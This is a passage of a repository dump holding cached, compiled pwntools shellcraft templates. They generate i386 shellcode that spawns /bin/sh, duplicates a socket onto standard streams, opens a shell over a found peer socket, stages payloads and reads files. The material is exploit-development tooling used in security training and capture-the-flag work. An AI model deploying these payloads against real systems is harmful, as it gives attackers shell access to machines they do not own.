__M_locals_builtin_stored])) 36 | __M_writer(u'\n') 37 | __M_writer(unicode(prefix)) 38 | __M_writer(u'_') 39 | __M_writer(unicode(label_num)) 40 | __M_writer(u'\n') 41 | return '' 42 | finally: 43 | context.caller_stack._pop_frame() 44 | 45 | 46 | """ 47 | __M_BEGIN_METADATA 48 | {"source_encoding": "ascii", "line_map": {"36": 14, "37": 15, "38": 15, "39": 15, "40": 15, "46": 40, "16": 2, "17": 8, "21": 1, "26": 1, "27": 7, "28": 10, "29": 11}, "uri": "common/label.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/common/label.asm"} 49 | __M_END_METADATA 50 | """ 51 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/common/label.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/common/label.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/breakpoint.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.655393 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/breakpoint.asm' 11 | _template_uri = 'i386/breakpoint.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'A single-byte breakpoint instruction.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | __M_writer(u'\n int3\n') 23 | return '' 24 | finally: 25 | context.caller_stack._pop_frame() 26 | 27 | 28 | """ 29 | __M_BEGIN_METADATA 30 | {"source_encoding": "ascii", "line_map": {"16": 1, "17": 0, "28": 22, "22": 1}, "uri": "i386/breakpoint.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/breakpoint.asm"} 31 | __M_END_METADATA 32 | """ 33 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/breakpoint.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/breakpoint.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/freebsd/acceptloop_ipv4.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/freebsd/acceptloop_ipv4.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/freebsd/i386_to_amd64.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.692689 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/freebsd/i386_to_amd64.asm' 11 | _template_uri = 'i386/freebsd/i386_to_amd64.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'Returns code to switch from i386 to amd64 mode.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import common 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['common'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | helper, end = common.label("helper"), common.label("end") 29 | 30 | __M_locals_builtin_stored = __M_locals_builtin() 31 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['end','helper'] if __M_key in __M_locals_builtin_stored])) 32 | __M_writer(u'\n.code32\n push 0x43 /* This is the segment we want to go to */\n call $+4\n') 33 | __M_writer(unicode(helper)) 34 | __M_writer(u':\n .byte 0xc0\n add dword ptr [esp], ') 35 | __M_writer(unicode(end)) 36 | __M_writer(u' - ') 37 | __M_writer(unicode(helper)) 38 | __M_writer(u'\n jmp far [esp]\n') 39 | __M_writer(unicode(end)) 40 | __M_writer(u':\n.code64\n') 41 | return '' 42 | finally: 43 | context.caller_stack._pop_frame() 44 | 45 | 46 | """ 47 | __M_BEGIN_METADATA 48 | {"source_encoding": "ascii", "line_map": {"32": 3, "33": 7, "34": 7, "35": 9, "36": 9, "37": 9, "38": 9, "39": 11, "40": 11, "46": 40, "16": 2, "17": 0, "22": 1, "26": 1, "27": 2, "28": 3}, "uri": "i386/freebsd/i386_to_amd64.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/freebsd/i386_to_amd64.asm"} 49 | __M_END_METADATA 50 | """ 51 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/freebsd/i386_to_amd64.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/freebsd/i386_to_amd64.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/freebsd/sh.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.694609 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/freebsd/sh.asm' 11 | _template_uri = 'i386/freebsd/sh.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'Execute /bin/sh' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import i386 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['i386'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u"\n\n\n /* Clear eax, ecx, edx */\n xor eax, eax\n push eax\n\n /* Push '/bin//sh' */\n") 28 | __M_writer(unicode(i386.pushstr("/bin//sh"))) 29 | __M_writer(u'\n mov ecx, esp\n\n /* execve("/bin//sh", {junk, 0}, {0}); */\n push eax\n push esp\n push esp\n push ecx\n push eax\n mov al, SYS_execve\n int 0x80\n\n') 30 | return '' 31 | finally: 32 | context.caller_stack._pop_frame() 33 | 34 | 35 | """ 36 | __M_BEGIN_METADATA 37 | {"source_encoding": "ascii", "line_map": {"35": 29, "16": 2, "17": 0, "22": 1, "26": 1, "27": 2, "28": 10, "29": 10}, "uri": "i386/freebsd/sh.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/freebsd/sh.asm"} 38 | __M_END_METADATA 39 | """ 40 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/freebsd/sh.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/freebsd/sh.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/infloop.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.65678 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/infloop.asm' 11 | _template_uri = 'i386/infloop.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'A two-byte infinite loop.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | __M_writer(u'\n jmp $\n') 23 | return '' 24 | finally: 25 | context.caller_stack._pop_frame() 26 | 27 | 28 | """ 29 | __M_BEGIN_METADATA 30 | {"source_encoding": "ascii", "line_map": {"16": 1, "17": 0, "28": 22, "22": 1}, "uri": "i386/infloop.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/infloop.asm"} 31 | __M_END_METADATA 32 | """ 33 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/infloop.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/infloop.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/acceptloop_ipv4.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/acceptloop_ipv4.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/cat.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1479426009.704954 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/cat.asm' 11 | _template_uri = 'i386/linux/cat.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u"\nOpens a file and writes its contents to the specified file descriptor.\n\nExample:\n\n >>> f = tempfile.mktemp()\n >>> write(f, 'FLAG')\n >>> run_assembly(shellcraft.i386.linux.cat(f)).recvall()\n 'FLAG'\n\n" 17 | def render_body(context,filename,fd=1,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,fd=fd,filename=filename) 21 | __M_writer = context.writer() 22 | 23 | from pwnlib.shellcraft import i386 24 | from pwnlib.shellcraft import common 25 | 26 | 27 | __M_locals_builtin_stored = __M_locals_builtin() 28 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['i386','common'] if __M_key in __M_locals_builtin_stored])) 29 | __M_writer(u'\n') 30 | __M_writer(u'\n') 31 | __M_writer(u'\n') 32 | 33 | label = common.label("sendfile_loop") 34 | 35 | 36 | __M_locals_builtin_stored = __M_locals_builtin() 37 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['label'] if __M_key in __M_locals_builtin_stored])) 38 | __M_writer(u'\n\n ') 39 | __M_writer(unicode(i386.pushstr(filename))) 40 | __M_writer(u'\n ') 41 | __M_writer(unicode(i386.syscall('SYS_open', 'esp', 0, 'O_RDONLY'))) 42 | __M_writer(u'\n ') 43 | __M_writer(unicode(i386.syscall('SYS_sendfile', fd, 'eax', 0, 0x7fffffff))) 44 | __M_writer(u'\n') 45 | return '' 46 | finally: 47 | context.caller_stack._pop_frame() 48 | 49 | 50 | """ 51 | __M_BEGIN_METADATA 52 | {"source_encoding": "ascii", "line_map": {"32": 17, "38": 19, "39": 21, "40": 21, "41": 22, "42": 22, "43": 23, "44": 23, "16": 6, "17": 5, "50": 44, "22": 1, "29": 4, "30": 5, "31": 16}, "uri": "i386/linux/cat.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/cat.asm"} 53 | __M_END_METADATA 54 | """ 55 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/cat.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/cat.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/dup.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.702357 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/dup.asm' 11 | _template_uri = 'i386/linux/dup.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nArgs: [sock (imm/reg) = ebp]\n Duplicates sock to stdin, stdout and stderr\n' 17 | def render_body(context,sock='ebp',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,sock=sock) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import i386 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['i386'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | from pwnlib.shellcraft import common 28 | 29 | __M_locals_builtin_stored = __M_locals_builtin() 30 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['common'] if __M_key in __M_locals_builtin_stored])) 31 | __M_writer(u'\n') 32 | __M_writer(u'\n') 33 | __M_writer(u'\n') 34 | 35 | dup = common.label("dup") 36 | looplabel = common.label("loop") 37 | 38 | 39 | __M_locals_builtin_stored = __M_locals_builtin() 40 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['dup','looplabel'] if __M_key in __M_locals_builtin_stored])) 41 | __M_writer(u'\n\n') 42 | __M_writer(unicode(dup)) 43 | __M_writer(u':\n ') 44 | __M_writer(unicode(i386.mov('ebx', sock))) 45 | __M_writer(u'\n ') 46 | __M_writer(unicode(i386.mov('ecx', 3))) 47 | __M_writer(u'\n') 48 | __M_writer(unicode(looplabel)) 49 | __M_writer(u':\n dec ecx\n\n ') 50 | __M_writer(unicode(i386.linux.syscall('SYS_dup2', 'ebx', 'ecx'))) 51 | __M_writer(u'\n jnz ') 52 | __M_writer(unicode(looplabel)) 53 | __M_writer(u'\n') 54 | return '' 55 | finally: 56 | context.caller_stack._pop_frame() 57 | 58 | 59 | """ 60 | __M_BEGIN_METADATA 61 | {"source_encoding": "ascii", "line_map": {"16": 4, "17": 3, "22": 1, "26": 1, "27": 2, "31": 2, "32": 3, "33": 7, "34": 8, "41": 11, "42": 13, "43": 13, "44": 14, "45": 14, "46": 15, "47": 15, "48": 16, "49": 16, "50": 19, "51": 19, "52": 20, "53": 20, "59": 53}, "uri": "i386/linux/dup.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/dup.asm"} 62 | __M_END_METADATA 63 | """ 64 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/dup.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/dup.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/dupsh.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.70488 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/dupsh.asm' 11 | _template_uri = 'i386/linux/dupsh.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nArgs: [sock (imm/reg) = ebp]\n Duplicates sock to stdin, stdout and stderr and spawns a shell.\n' 17 | def render_body(context,sock='ebp',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,sock=sock) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import common 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['common'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | from pwnlib.shellcraft.i386 import linux 28 | 29 | __M_locals_builtin_stored = __M_locals_builtin() 30 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['linux'] if __M_key in __M_locals_builtin_stored])) 31 | __M_writer(u'\n') 32 | __M_writer(u'\n') 33 | __M_writer(u'\n\n\n') 34 | __M_writer(unicode(linux.dup(sock))) 35 | __M_writer(u'\n\n') 36 | __M_writer(unicode(linux.sh())) 37 | __M_writer(u'\n') 38 | return '' 39 | finally: 40 | context.caller_stack._pop_frame() 41 | 42 | 43 | """ 44 | __M_BEGIN_METADATA 45 | {"source_encoding": "ascii", "line_map": {"32": 3, "33": 7, "34": 10, "35": 10, "36": 12, "37": 12, "43": 37, "16": 4, "17": 3, "22": 1, "26": 1, "27": 2, "31": 2}, "uri": "i386/linux/dupsh.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/dupsh.asm"} 46 | __M_END_METADATA 47 | """ 48 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/dupsh.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/dupsh.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/echo.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.707323 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/echo.asm' 11 | _template_uri = 'i386/linux/echo.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'Writes a string to a file descriptor' 17 | def render_body(context,string,sock='ebp',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,sock=sock,string=string) 21 | len = context.get('len', UNDEFINED) 22 | __M_writer = context.writer() 23 | from pwnlib.shellcraft import i386 24 | 25 | __M_locals_builtin_stored = __M_locals_builtin() 26 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['i386'] if __M_key in __M_locals_builtin_stored])) 27 | __M_writer(u'\n') 28 | from pwnlib.constants.linux.i386 import SYS_write 29 | 30 | __M_locals_builtin_stored = __M_locals_builtin() 31 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['SYS_write'] if __M_key in __M_locals_builtin_stored])) 32 | __M_writer(u'\n') 33 | __M_writer(u'\n') 34 | __M_writer(u'\n\n') 35 | __M_writer(unicode(i386.pushstr(string, append_null = False))) 36 | __M_writer(u'\n') 37 | __M_writer(unicode(i386.linux.syscall('SYS_write', sock, 'esp', len(string)))) 38 | __M_writer(u'\n') 39 | return '' 40 | finally: 41 | context.caller_stack._pop_frame() 42 | 43 | 44 | """ 45 | __M_BEGIN_METADATA 46 | {"source_encoding": "ascii", "line_map": {"32": 2, "33": 3, "34": 4, "35": 6, "36": 6, "37": 7, "38": 7, "44": 38, "16": 4, "17": 3, "23": 1, "27": 1, "28": 2}, "uri": "i386/linux/echo.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/echo.asm"} 47 | __M_END_METADATA 48 | """ 49 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/echo.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/echo.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/execve.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/execve.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/findpeer.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/findpeer.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/findpeersh.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.712771 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/findpeersh.asm' 11 | _template_uri = 'i386/linux/findpeersh.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nArgs: port (defaults to any)\n Finds an open socket which connects to a specified\n port, and then opens a dup2 shell on it.\n' 17 | def render_body(context,port=None,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,port=port) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import common 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['common'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | from pwnlib.shellcraft.i386 import linux 28 | 29 | __M_locals_builtin_stored = __M_locals_builtin() 30 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['linux'] if __M_key in __M_locals_builtin_stored])) 31 | __M_writer(u'\n') 32 | __M_writer(u'\n') 33 | __M_writer(u'\n\n\n') 34 | __M_writer(unicode(linux.findpeer(port))) 35 | __M_writer(u'\n\n') 36 | __M_writer(unicode(linux.dupsh("esi"))) 37 | __M_writer(u'\n\n') 38 | return '' 39 | finally: 40 | context.caller_stack._pop_frame() 41 | 42 | 43 | """ 44 | __M_BEGIN_METADATA 45 | {"source_encoding": "ascii", "line_map": {"32": 3, "33": 8, "34": 11, "35": 11, "36": 13, "37": 13, "43": 37, "16": 4, "17": 3, "22": 1, "26": 1, "27": 2, "31": 2}, "uri": "i386/linux/findpeersh.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/findpeersh.asm"} 46 | __M_END_METADATA 47 | """ 48 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/findpeersh.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/findpeersh.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/findpeerstager.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.715066 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/findpeerstager.asm' 11 | _template_uri = 'i386/linux/findpeerstager.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nFindpeer + stager\nArgs:\n size, the size of the payload\n port, the port given to findpeer (defaults to any)\n' 17 | def render_body(context,size,port=None,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,port=port,size=size) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import common 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['common'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | from pwnlib.shellcraft.i386 import linux 28 | 29 | __M_locals_builtin_stored = __M_locals_builtin() 30 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['linux'] if __M_key in __M_locals_builtin_stored])) 31 | __M_writer(u'\n') 32 | __M_writer(u'\n') 33 | __M_writer(u'\n\n') 34 | __M_writer(unicode(linux.findpeer(port))) 35 | __M_writer(u'\n') 36 | __M_writer(unicode(linux.stager("esi", size))) 37 | __M_writer(u'\n') 38 | return '' 39 | finally: 40 | context.caller_stack._pop_frame() 41 | 42 | 43 | """ 44 | __M_BEGIN_METADATA 45 | {"source_encoding": "ascii", "line_map": {"32": 8, "33": 9, "34": 11, "35": 11, "36": 12, "37": 12, "43": 37, "16": 3, "17": 9, "22": 1, "26": 1, "27": 2, "31": 2}, "uri": "i386/linux/findpeerstager.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/findpeerstager.asm"} 46 | __M_END_METADATA 47 | """ 48 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/findpeerstager.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/findpeerstager.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/getdents.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.717375 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/getdents.asm' 11 | _template_uri = 'i386/linux/getdents.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u" Reads to the stack from a directory.\n\nArgs:\n in_fd (int/str): File descriptor to be read from.\n size (int): Buffer size.\n allocate_stack (bool): allocate 'size' bytes on the stack.\n\nYou can optioanlly shave a few bytes not allocating the stack space.\n\nThe size read is left in eax.\n" 17 | def render_body(context,in_fd='ebp',size=255,allocate_stack=True,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,in_fd=in_fd,allocate_stack=allocate_stack,size=size) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import i386 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['i386'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 